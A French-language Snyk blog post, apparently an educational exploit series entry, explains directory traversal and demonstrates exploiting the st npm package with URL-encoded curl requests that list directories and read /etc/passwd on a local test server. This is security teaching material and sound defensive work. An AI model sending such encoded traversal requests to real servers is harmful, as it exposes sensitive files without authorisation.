Skip to main content

Snyking In - Exploitation d’une vulnérabilité de traversée de répertoires dans le package st

Écrit par
Snyking in small

25 février 2019

0 minutes de lecture

Bienvenue dans le premier épisode d’une nouvelle série consacrée aux exploits, intitulée « Snyking In » ! Nous examinerons différentes vulnérabilités de sécurité, montrerons comment les exploiter et présenterons les risques qu’elles peuvent faire peser sur vos données et vos systèmes. Nos exemples porteront toujours sur des bibliothèques réelles qui présentent le type de vulnérabilité étudié dans au moins une de leurs versions publiées.

Et rassurez-vous, nous ne vous laisserons pas en plan ! Nous vous montrerons également comment détecter et corriger les vulnérabilités dans votre application. Sans plus attendre, découvrez notre première vidéo d’exploitation, suivie d’informations supplémentaires sur la vulnérabilité de traversée de répertoires.

Traversée de répertoires

Une attaque par traversée de répertoires (également appelée traversée de chemins) vise à accéder à des fichiers et répertoires situés en dehors du dossier prévu. En manipulant les fichiers à l’aide de séquences « point-point-barre oblique (../) » et de leurs variantes, ou en utilisant des chemins de fichiers absolus, il peut être possible d’accéder à des fichiers et répertoires arbitraires du système de fichiers, notamment au code source de l’application, à sa configuration et à d’autres fichiers système essentiels.

Les vulnérabilités de traversée de répertoires se répartissent généralement en deux catégories :

Divulgation d’informations : permet à l’attaquant d’obtenir des informations sur la structure des dossiers ou de lire le contenu de fichiers sensibles présents sur le système.

Écriture de fichiers arbitraires : permet à l’attaquant de créer des fichiers ou de remplacer des fichiers existants. Ce type de vulnérabilité est également connu sous le nom de Zip Slip.

Traversée de répertoires dans st

Le module st sert des fichiers statiques sur des pages web et présente une vulnérabilité de ce type. Dans notre exemple, nous servons des fichiers depuis la route publique.

Si un attaquant envoie l’URL suivante à notre serveur, celui-ci divulguera les informations sensibles stockées sur cette machine. Notez que %2e est la version encodée dans une URL du caractère . (point).

curl http://localhost:3001/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd 

Ce type de traversée de répertoires constitue une vulnérabilité de divulgation d’informations : l’attaquant peut lire le contenu de fichiers sensibles. Les dommages se limitent aux informations auxquelles l’attaquant peut accéder sur le système.

L’exploit st

Dans la vidéo ci-dessus, le piratage est réalisé depuis une fenêtre de terminal, car le navigateur normaliserait la saisie. La première tentative d’exploitation utilise la notation point-point-barre oblique pour remonter au-delà du répertoire public :

curl http://localhost:3001/public/../

La bibliothèque st est toutefois particulièrement attentive à la sécurité. Elle se protège contre la traversée de répertoires utilisant la notation point-point-barre oblique. Cependant, en encodant le point dans l’URL, comme indiqué précédemment, la commande suivante exploite avec succès la vulnérabilité :

curl http://localhost:3001/public/%2e%2e/

Le résultat montre que nous pouvons désormais accéder au fichier package-lock.json, entre autres. Nous pouvons ainsi voir les autres modules et les versions utilisées par l’application. Nous pouvons aussi explorer plus en profondeur le système de fichiers à la recherche d’informations plus sensibles, comme dans la vidéo, où nous révélons le fichier /etc/passwd.

<!doctype html>Index of<!doctype html>
../  
exploits/ 2018-11-22T11:36:32.894Z -  
goof/ 2018-06-19T12:09:39.211Z -  
node_modules/ 2019-02-21T11:51:45.792Z -  
public/ 2018-06-19T12:09:03.003Z -  
routes/ 2018-06-19T12:09:03.003Z -  
views/ 2018-06-19T12:09:03.004Z -  
app.js 2018-06-19T12:09:02.997Z 2152  
app.json 2018-06-19T12:09:02.997Z 267  
db.js 2018-06-19T12:09:02.997Z 1157  
GoofApp.zip 2018-09-11T07:21:58.433Z 14138285  
package-lock.json 2019-02-21T11:51:46.183Z 186799  
package.json 2018-11-06T18:59:57.850Z 1207  
README.md 2018-06-19T12:09:02.996Z 1815  
utils.js 2018-06-19T12:09:03.003Z 641

Pour tester votre application à la recherche de vulnérabilités dans des bibliothèques tierces telles que st, essayez Snyk gratuitement et obtenez des résultats instantanément.

Lancez-vous dans les challenges Capture The Flag

Apprenez à résoudre des challenges Capture The Flag en regardant à la demande notre atelier virtuel d’initiation.